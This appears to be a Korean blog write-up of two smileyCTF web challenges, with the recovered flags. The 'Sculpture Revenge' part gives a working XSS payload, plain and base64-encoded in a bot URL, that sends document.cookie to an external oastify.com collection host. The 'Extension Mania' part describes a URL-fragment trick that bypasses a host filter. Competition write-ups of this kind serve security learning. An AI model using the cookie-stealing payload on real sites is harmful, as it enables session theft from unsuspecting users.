웹
smileyCTF-web-풀이
남행이
2025. 6. 14. 22:43
Sculpture Revenge
import document
output = document.getElementById("output")
output.innerHTML = '<img src="x" onerror="location.href=\'http://tkhx781vn4m07jjdkcwp23wsjjpad61v.oastify.com/?\' + document.cookie">'
python을 js로 구현한 라이브러리를 이용해 xss유도( import document print dir(document))을 이용해 사용가능한 함수 확인
aW1wb3J0IGRvY3VtZW50CgpvdXRwdXQgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgib3V0cHV0IikKb3V0cHV0LmlubmVySFRNTCA9ICc8aW1nIHNyYz0ieCIgb25lcnJvcj0ibG9jYXRpb24uaHJlZj1cJ2h0dHA6Ly90a2h4Nzgxdm40bTA3ampka2N3cDIzd3NqanBhZDYxdi5vYXN0aWZ5LmNvbS8/XCcgKyBkb2N1bWVudC5jb29raWUiPic=
https://web-sculpture-revenge-bx35z9ge.smiley.cat/bot?code=aW1wb3J0IGRvY3VtZW50CgpvdXRwdXQgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgib3V0cHV0IikKb3V0cHV0LmlubmVySFRNTCA9ICc8aW1nIHNyYz0ieCIgb25lcnJvcj0ibG9jYXRpb24uaHJlZj1cJ2h0dHA6Ly90a2h4Nzgxdm40bTA3ampka2N3cDIzd3NqanBhZDYxdi5vYXN0aWZ5LmNvbS8/XCcgKyBkb2N1bWVudC5jb29raWUiPic=
base64로 인코드후 bot에 코드로 전달
.;,;.{we_love_cattle_no_flags_in_dist_trust_we_know_what_we_are_doing_yep}
Extension Mania
봇에서 15초 대기하기에 16.5초 대기, 호스트 검증후 shouldGiveFlag = true;을 통해 플래그 제공조건을 줌
해당부분에서 params가아닌 paramref로 되어있어 이부분에 접근한다면 error를 일으켜 필터링( coolctfgames.localhost )을 안하게 만들수있기에 #값을 이용해 아무값을 입력해 key와 value를 넣어줌
http://coolctfgames.localhost:3000#bypass=true
로 봇요청
https://web-extension-mania-f8xd9nd2.smiley.cat/bot/status
경로로 이동하여 확인
".;,;.{th3_d0wns1d3s_0f_3xt_ap1_abus3_and_r0ll1ng_y0ur_0wn_ur1_pars3rs}"